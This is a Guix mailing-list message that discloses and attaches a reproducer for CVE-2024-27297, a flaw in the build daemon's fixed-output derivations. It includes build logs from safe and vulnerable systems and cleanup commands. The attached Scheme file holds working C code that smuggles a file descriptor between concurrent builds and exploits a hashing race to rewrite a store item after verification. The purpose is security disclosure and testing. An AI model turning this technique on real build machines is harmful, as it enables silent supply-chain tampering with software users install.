From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: from mp0.migadu.com ([2001:41d0:403:58f0::]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)) by ms8.migadu.com with LMTPS id 2FGCMMxc8GW1kwAAqHPOHw:P1 (envelope-from ) for ; Tue, 12 Mar 2024 14:46:52 +0100 Received: from aspmx1.migadu.com ([2001:41d0:403:58f0::]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)) by mp0.migadu.com with LMTPS id 2FGCMMxc8GW1kwAAqHPOHw (envelope-from ) for ; Tue, 12 Mar 2024 14:46:52 +0100 X-Envelope-To: larch@yhetil.org Authentication-Results: aspmx1.migadu.com; dkim=fail ("headers rsa verify failed") header.d=gnu.org header.s=fencepost-gnu-org header.b=YJM0EJ0Z; spf=pass (aspmx1.migadu.com: domain of "guix-patches-bounces+larch=yhetil.org@gnu.org" designates 209.51.188.17 as permitted sender) smtp.mailfrom="guix-patches-bounces+larch=yhetil.org@gnu.org"; dmarc=pass (policy=none) header.from=gnu.org ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=yhetil.org; s=key1; t=1710251212; h=from:from:sender:sender:reply-to:subject:subject:date:date: message-id:message-id:to:to:cc:cc:mime-version:mime-version: content-type:content-type:resent-cc:resent-from:resent-sender: resent-message-id:in-reply-to:in-reply-to:references:references: list-id:list-help:list-unsubscribe:list-subscribe:list-post: dkim-signature; bh=sGzF6ZJLbgNLRoUAmtQPv1QSXj66/vKFkkUU4pOA5Wk=; b=vCi5D37un+DJvnbSy1ydIRjJGtDjqe+b9BeHDWPd+7eIzcwsGdGGPnWDV2nsgr2/Pm9PlD Mhxyl/Qh+0kEjSxSjGtDEikJ/h3uUDpmPuMWp/f2N92Q1XY4ioKFjXIHNMbE+jLc0vGZWF ksxLyXYwP4MFNvhOdOnKL6Y8UTYTCjOdMQSIQpOqOkP36aDEEOEtSd2jvdG8L7Tjb/cevc WJDZtEBK4O+kIBMHUJZKZhhdO/lVWZZk0GXQh0+uiH4r8sQ731PLuZ3nHY+ZBrOQXEm0yU /xuJaFj662FgOvCvmrXMky07wjEGkyXkvyVlsX4ofNzFWUbs2lqaGiGExgQj4g== ARC-Seal: i=1; s=key1; d=yhetil.org; t=1710251212; a=rsa-sha256; cv=none; b=OdRFVxsVq36TphkAJggYr/VHVAzYOmnv8Fdm1Z9TZOc71KENhyaOrH0EtDFy5o5Sg8CuMQ kSb/iN54opzW9XfTtKaQUvvwDT7O4sRzevL1+Ffztk2QSrwLxvz5Hx5oJFn97m6xF7epoQ TPu/WXifRxavVeZDUWnFcnIKHy3KaJU1KKyR5G+Vv/MDyFmAAaDpCm+OyEtMLmNi2LivYq FMyccjheVVTHOhP/CWh3nSXvckFofp5mWKul3soJjKc26xMnfbRq6ZU0wIz+NTZaX5I48I Lu0o90XvIZ1VUiDx5iyH8Dmxp5AIoypBxkUbHrWYjuXv1VzzHI85e9hJ5Xng6Q== ARC-Authentication-Results: i=1; aspmx1.migadu.com; dkim=fail ("headers rsa verify failed") header.d=gnu.org header.s=fencepost-gnu-org header.b=YJM0EJ0Z; spf=pass (aspmx1.migadu.com: domain of "guix-patches-bounces+larch=yhetil.org@gnu.org" designates 209.51.188.17 as permitted sender) smtp.mailfrom="guix-patches-bounces+larch=yhetil.org@gnu.org"; dmarc=pass (policy=none) header.from=gnu.org Received: from lists.gnu.org (lists.gnu.org [209.51.188.17]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by aspmx1.migadu.com (Postfix) with ESMTPS id 77B216A0E1 for ; Tue, 12 Mar 2024 14:46:52 +0100 (CET) Received: from localhost ([::1] helo=lists1p.gnu.org) by lists.gnu.org with esmtp (Exim 4.90_1) (envelope-from ) id 1rk2Sp-0007aw-PA; Tue, 12 Mar 2024 09:46:46 -0400 Received: from eggs.gnu.org ([2001:470:142:3::10]) by lists.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from ) id 1rk2Sa-0007Uq-M6 for guix-patches@gnu.org; Tue, 12 Mar 2024 09:46:29 -0400 Received: from debbugs.gnu.org ([2001:470:142:5::43]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.90_1) (envelope-from ) id 1rk2Sa-0004XT-Cg for guix-patches@gnu.org; Tue, 12 Mar 2024 09:46:28 -0400 Received: from Debian-debbugs by debbugs.gnu.org with local (Exim 4.84_2) (envelope-from ) id 1rk2T8-0006Ig-LD for guix-patches@gnu.org; Tue, 12 Mar 2024 09:47:02 -0400 X-Loop: help-debbugs@gnu.org Subject: [bug#69728] Reproducer for the daemon fixed-output derivation vulnerability Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= Original-Sender: "Debbugs-submit" Resent-CC: guix-patches@gnu.org Resent-Date: Tue, 12 Mar 2024 13:47:02 +0000 Resent-Message-ID: Resent-Sender: help-debbugs@gnu.org X-GNU-PR-Message: followup 69728 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch security To: 69728@debbugs.gnu.org Cc: Picnoir , =?UTF-8?Q?Th=C3=A9ophane?= Hufschmitt , guix-security@gnu.org Received: via spool by 69728-submit@debbugs.gnu.org id=B69728.171025121324203 (code B ref 69728); Tue, 12 Mar 2024 13:47:02 +0000 Received: (at 69728) by debbugs.gnu.org; 12 Mar 2024 13:46:53 +0000 Received: from localhost ([127.0.0.1]:42098 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from ) id 1rk2Sy-0006II-6s for submit@debbugs.gnu.org; Tue, 12 Mar 2024 09:46:53 -0400 Received: from eggs.gnu.org ([209.51.188.92]:48172) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from ) id 1rk2St-0006I2-EG for 69728@debbugs.gnu.org; Tue, 12 Mar 2024 09:46:50 -0400 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from ) id 1rk2SE-0004Th-Ei; Tue, 12 Mar 2024 09:46:06 -0400 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To: From; bh=sGzF6ZJLbgNLRoUAmtQPv1QSXj66/vKFkkUU4pOA5Wk=; b=YJM0EJ0Zwgt32ChUqBJb ia/C0Kt1n+tRWeOluG4Cqq1YjKyL5D2oGBDmgEeGt3dS+uOqttZeZvfMbQu2Bhn5kXJxWRrQRZeak 7C1M20GfPuyrlvlTdQ6+kVcfP6TWUsa1/eVr8GMdRaPYPna6anplk2ajJrPq+A1i1hyHoHxYWfJef bJFFP0m6cBIrl2dnRsMSvmtI4LdxTgQwtK/xzifMN+02qs0lsTDsrtNkqdWbf6NhasAWig+nZnwp2 Q4PEYTViB/lL6XgoYazSZdDDhZFn79/hhP7GdK3Zwy9c5VBSzWhsP5X2siTGJNzUS6KRspvZBU2vi IoD8KmVsslPmCA==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= In-Reply-To: <87frwwo1mo.fsf@gnu.org> ("Ludovic =?UTF-8?Q?Court=C3=A8s?="'s message of "Mon, 11 Mar 2024 23:16:31 +0100") References: <87frwwo1mo.fsf@gnu.org> Date: Tue, 12 Mar 2024 14:45:56 +0100 Message-ID: <871q8flg17.fsf_-_@gnu.org> User-Agent: Gnus/5.13 (Gnus v5.13) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="==-=-="; micalg=pgp-sha512; protocol="application/pgp-signature" X-BeenThere: debbugs-submit@debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list X-BeenThere: guix-patches@gnu.org List-Id: List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: guix-patches-bounces+larch=yhetil.org@gnu.org Sender: guix-patches-bounces+larch=yhetil.org@gnu.org X-Migadu-Flow: FLOW_IN X-Migadu-Country: US X-Migadu-Spam-Score: -9.29 X-Spam-Score: -9.29 X-Migadu-Queue-Id: 77B216A0E1 X-Migadu-Scanner: mx11.migadu.com X-TUID: 2gszrk2rUAzt --==-=-= Content-Type: multipart/mixed; boundary="=-=-=" --=-=-= Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable As promised, attached is a reproducer that I adapted from the Nix one at , which I think was written by puck . The program demonstrates the vulnerability using two fixed-output derivations that must be built concurrently on the same machine. To do that, run: guix build -f fixed-output-derivation-corruption.scm -M4 Normally, you=E2=80=99ll find yourself building =E2=80=9Cderivation-that-exfiltrates-fd.drv=E2=80=9D and =E2=80=9Cderivatio= n-that-grabs-fd.drv=E2=80=9D in parallel; the former will send a file descriptor to the latter using a C program, and the latter will use that file descriptor to modify the contents of /gnu/store/=E2=80=A6-derivation-that-exfiltrates-fd after it has completed. On a safe system, the =E2=80=98guix build=E2=80=99 command succeeds like th= is: =2D-8<---------------cut here---------------start------------->8--- $ guix build -f fixed-output-derivation-corruption.scm -M4 /home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: = warning: importing module (guix config) from the host /home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: = warning: importing module (guix config) from the host substitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0% substitute: updating substitutes from 'https://bordeaux.guix.gnu.org'... 10= 0.0% The following derivations will be built: /gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for-vulnerability.drv /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f0= 5a81-17185.drv /gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-that-exfiltrates-f= d-65f05a81-17185.drv building /gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-that-exfilt= rates-fd-65f05a81-17185.drv... building /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-= fd-65f05a81-17185.drv... accepting connections... attempting connection... preparing our hand... successfully built /gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-t= hat-exfiltrates-fd-65f05a81-17185.drv The following build is still in progress: /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f0= 5a81-17185.drv swaptrick finished, now to wait.. successfully built /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-t= hat-grabs-fd-65f05a81-17185.drv building /gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for-vulnerabi= lity.drv... This depends on /gnu/store/b03pq9ns0y7l12c08wy9jc8lbmkmy33j-derivation-that= -grabs-fd-65f05a81-17185, which will grab the file descriptor and corrupt /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivati= on-that-exfiltrates-fd-65f05a81-17185. Here is what we see in /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivati= on-that-exfiltrates-fd-65f05a81-17185: "This is the original text, before c= orruption." Failed to corrupt /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivation-th= at-exfiltrates-fd-65f05a81-17185, your system is safe. successfully built /gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for= -vulnerability.drv /gnu/store/5xsvwbld5c5zxi075j45sfnvsx9f658v-checking-for-vulnerability =2D-8<---------------cut here---------------end--------------->8--- On a system that is still vulnerable, we get this instead: =2D-8<---------------cut here---------------start------------->8--- $ guix build -f fixed-output-derivation-corruption.scm -M4 /home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: = warning: importing module (guix config) from the host /home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: = warning: importing module (guix config) from the host substitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0% substitute: updating substitutes from 'https://bordeaux.guix.gnu.org'... 10= 0.0% substitute: updating substitutes from 'https://guix.bordeaux.inria.fr'... 1= 00.0% The following derivations will be built: /gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv /gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-that-exfiltrates-f= d-65f05aca-17261.drv /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f0= 5aca-17261.drv building /gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-that-exfilt= rates-fd-65f05aca-17261.drv... building /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-= fd-65f05aca-17261.drv... accepting connections... attempting connection... preparing our hand... successfully built /gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-t= hat-exfiltrates-fd-65f05aca-17261.drv The following build is still in progress: /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f0= 5aca-17261.drv swaptrick finished, now to wait.. successfully built /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-t= hat-grabs-fd-65f05aca-17261.drv building /gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerabi= lity.drv... This depends on /gnu/store/iqggpsrj9i0ydpqpb98iszx1vnbkgr19-derivation-that= -grabs-fd-65f05aca-17261, which will grab the file descriptor and corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivati= on-that-exfiltrates-fd-65f05aca-17261. Here is what we see in /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivati= on-that-exfiltrates-fd-65f05aca-17261: "This file has been corrupted!\n" We managed to corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivatio= n-that-exfiltrates-fd-65f05aca-17261, meaning that YOUR SYSTEM IS VULNERABL= E! builder for `/gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulne= rability.drv' failed with exit code 1 build of /gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerabi= lity.drv failed View build log at '/var/log/guix/drvs/gp/h10hc3b2ys49sx58l5wjj4ybf81a2l-che= cking-for-vulnerability.drv.gz'. guix build: error: build of `/gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-ch= ecking-for-vulnerability.drv' failed =2D-8<---------------cut here---------------end--------------->8--- At this point, /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-= 65f05aca-17261 is corrupt: =2D-8<---------------cut here---------------start------------->8--- $ cat /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrat= es-fd-65f05aca-17261 This file has been corrupted! =2D-8<---------------cut here---------------end--------------->8--- You can remove those corrupt test files by running: guix gc -D /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-ex= filtrates-fd* You can find corrupt files in your store by running: guix gc --verify=3Dcontents This is expensive because it reads every single file under /gnu/store and check the hash of each store item against that recorded in /var/guix/db/db.sqlite. It should flag all the /gnu/store/=E2=80=A6-derivation-that-exfiltrates-fd* outputs. Ludo=E2=80=99. --=-=-= Content-Type: text/plain Content-Disposition: inline; filename=fixed-output-derivation-corruption.scm Content-Description: The reproducer ;; Checking for CVE-2024-27297. ;; Adapted from . (use-modules (guix) (guix modules) (guix profiles) (gnu packages) (gnu packages gnupg) (gcrypt hash) ((rnrs bytevectors) #:select (string->utf8))) (define (compiled-c-code name source) (define build-profile (profile (content (specifications->manifest '("gcc-toolchain"))))) (define build (with-extensions (list guile-gcrypt) (with-imported-modules (source-module-closure '((guix build utils) (guix profiles))) #~(begin (use-modules (guix build utils) (guix profiles)) (load-profile #+build-profile) (system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output))))) (computed-file name build)) (define sender-source (plain-file "sender.c" " #include #include #include #include #include #include #include #include int main(int argc, char **argv) { setvbuf(stdout, NULL, _IOLBF, 0); int sock = socket(AF_UNIX, SOCK_STREAM, 0); // Set up an abstract domain socket path to connect to. struct sockaddr_un data; data.sun_family = AF_UNIX; data.sun_path[0] = 0; strcpy(data.sun_path + 1, \"dihutenosa\"); // Now try to connect, To ensure we work no matter what order we are // executed in, just busyloop here. int res = -1; while (res < 0) { printf(\"attempting connection...\\n\"); res = connect(sock, (const struct sockaddr *)&data, offsetof(struct sockaddr_un, sun_path) + strlen(\"dihutenosa\") + 1); if (res < 0 && errno != ECONNREFUSED) perror(\"connect\"); if (errno != ECONNREFUSED) break; usleep(500000); } // Write our message header. struct msghdr msg = {0}; msg.msg_control = malloc(128); msg.msg_controllen = 128; // Write an SCM_RIGHTS message containing the output path. struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); hdr->cmsg_len = CMSG_LEN(sizeof(int)); hdr->cmsg_level = SOL_SOCKET; hdr->cmsg_type = SCM_RIGHTS; int fd = open(getenv(\"out\"), O_RDWR | O_CREAT, 0640); memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); msg.msg_controllen = CMSG_SPACE(sizeof(int)); // Write a single null byte too. msg.msg_iov = malloc(sizeof(struct iovec)); msg.msg_iov[0].iov_base = \"\"; msg.msg_iov[0].iov_len = 1; msg.msg_iovlen = 1; // Send it to the othher side of this connection. res = sendmsg(sock, &msg, 0); if (res < 0) perror(\"sendmsg\"); int buf; // Wait for the server to close the socket, implying that it has // received the commmand. recv(sock, (void *)&buf, sizeof(int), 0); }")) (define receiver-source (mixed-text-file "receiver.c" " #include #include #include #include #include #include #include int main(int argc, char **argv) { int sock = socket(AF_UNIX, SOCK_STREAM, 0); // Bind to the socket. struct sockaddr_un data; data.sun_family = AF_UNIX; data.sun_path[0] = 0; strcpy(data.sun_path + 1, \"dihutenosa\"); int res = bind(sock, (const struct sockaddr *)&data, offsetof(struct sockaddr_un, sun_path) + strlen(\"dihutenosa\") + 1); if (res < 0) perror(\"bind\"); res = listen(sock, 1); if (res < 0) perror(\"listen\"); while (1) { setvbuf(stdout, NULL, _IOLBF, 0); printf(\"accepting connections...\\n\"); int a = accept(sock, 0, 0); if (a < 0) perror(\"accept\"); struct msghdr msg = {0}; msg.msg_control = malloc(128); msg.msg_controllen = 128; // Receive the file descriptor as sent by the smuggler. recvmsg(a, &msg, 0); struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); while (hdr) { if (hdr->cmsg_level == SOL_SOCKET && hdr->cmsg_type == SCM_RIGHTS) { int res; // Grab the copy of the file descriptor. memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int)); printf(\"preparing our hand...\\n\"); ftruncate(res, 0); // Write the expected contents to the file, tricking Nix // into accepting it as matching the fixed-output hash. write(res, \"hello, world\\n\", strlen(\"hello, world\\n\")); // But wait, the file is bigger than this! What could // this code hide? // First, we do a bit of a hack to get a path for the // file descriptor we received. This is necessary because // that file doesn't exist in our mount namespace! char buf[128]; sprintf(buf, \"/proc/self/fd/%d\", res); // Hook up an inotify on that file, so whenever Nix // closes the file, we get notified. int inot = inotify_init(); inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE); // Notify the smuggler that we've set everything up for // the magic trick we're about to do. close(a); // So, before we continue with this code, a trip into Nix // reveals a small flaw in fixed-output derivations. When // storing their output, Nix has to hash them twice. Once // to verify they match the \"flat\" hash of the derivation // and once more after packing the file into the NAR that // gets sent to a binary cache for others to consume. And // there's a very slight window inbetween, where we could // just swap the contents of our file. But the first hash // is still noted down, and Nix will refuse to import our // NAR file. To trick it, we need to write a reference to // a store path that the source code for the smuggler drv // references, to ensure it gets picked up. Continuing... // Wait for the next inotify event to drop: read(inot, buf, 128); // first read + CA check has just been done, Nix is about // to chown the file to root. afterwards, refscanning // happens... // Empty the file, seek to start. ftruncate(res, 0); lseek(res, 0, SEEK_SET); // We swap out the contents! static const char content[] = \"This file has been corrupted!\\n\"; write(res, content, strlen (content)); close(res); printf(\"swaptrick finished, now to wait..\\n\"); return 0; } hdr = CMSG_NXTHDR(&msg, hdr); } close(a); } }")) (define nonce (string-append "-" (number->string (car (gettimeofday)) 16) "-" (number->string (getpid)))) (define original-text "This is the original text, before corruption.") (define derivation-that-exfiltrates-fd (computed-file (string-append "derivation-that-exfiltrates-fd" nonce) (with-imported-modules '((guix build utils)) #~(begin (use-modules (guix build utils)) (invoke #+(compiled-c-code "sender" sender-source)) (call-with-output-file #$output (lambda (port) (display #$original-text port))))) #:options `(#:hash-algo sha256 #:hash ,(sha256 (string->utf8 original-text))))) (define derivation-that-grabs-fd (computed-file (string-append "derivation-that-grabs-fd" nonce) #~(begin (open-output-file #$output) ;make sure there's an output (execl #+(compiled-c-code "receiver" receiver-source) "receiver")) #:options `(#:hash-algo sha256 #:hash ,(sha256 #vu8())))) (define check (computed-file "checking-for-vulnerability" #~(begin (use-modules (ice-9 textual-ports)) (mkdir #$output) ;make sure there's an output (format #t "This depends on ~a, which will grab the file descriptor and corrupt ~a.~%~%" #+derivation-that-grabs-fd #+derivation-that-exfiltrates-fd) (let ((content (call-with-input-file #+derivation-that-exfiltrates-fd get-string-all))) (format #t "Here is what we see in ~a: ~s~%~%" #+derivation-that-exfiltrates-fd content) (if (string=? content #$original-text) (format #t "Failed to corrupt ~a, \ your system is safe.~%" #+derivation-that-exfiltrates-fd) (begin (format #t "We managed to corrupt ~a, \ meaning that YOUR SYSTEM IS VULNERABLE!~%" #+derivation-that-exfiltrates-fd) (exit 1))))))) check --=-=-=-- --==-=-= Content-Type: application/pgp-signature; name="signature.asc" -----BEGIN PGP SIGNATURE----- iQJBBAEBCgArFiEEPORkVYqE/cadtAz7CQsRmT2a67UFAmXwXJQNHGx1ZG9AZ251 Lm9yZwAKCRAJCxGZPZrrtZQED/9cu9Wq+0e6bKFMCXjpF5DSjBbuZ/jQTBtyC2NK wOCNzeY2Us3C9gGp9y+78Bq8JIOAmZK/zUFuFotR4e9mcaD2SiKQYkQq913xNsvu 8qS/si39CmPRltbbT6ExxIulrLfRgaGXQudWCEn457VCX04WlvyMhVUTpMzEqaYF jml1UKKxozrkn9OGqiaLy5L5E8HQuTr8ZUOxHfi0omT0yP+KOxfZTuEoYB+hAPSS oIa97fsredd38XjJ6SzK2O4wurUVzwFR8DzIMGUkJj9StJboizEQsDtL1JjRoNv4 g8cxatt5m0Dr5pb7FDamoUHSB/GcOOoTmhg7WXOn3anNB58nCWGJynKZqzSMJ0W4 r+Mu3MLnV4E4ugOiBbqT9rfVQ/O7+YlrUJpJMzZetsLestetsGCIuk7NMDbUC7QW jjXE3CFQagqSVDcsURvjLyRUztgRHvsN9mfAjeG03mOCoadSvlz8zCGQyBWavSJ2 mHNkW2H7WioklHYqPh7J0XCGCd7uwKD7vUqPkqso2ogVvzheD/mliAq9Z7TaP+2u YJbTJXFxYA7ZmiOk2hYBGRzF2kEYICX7jZUyE9pmFG/Dqm1yLMdpgLFeZOTywrto Tz927oa6UGyLYMgly4BRxGKfsgQni38vQlUqYY1pch0eSv4d+1vF6lzodt9sigZD m4EaMg== =h0hp -----END PGP SIGNATURE----- --==-=-=--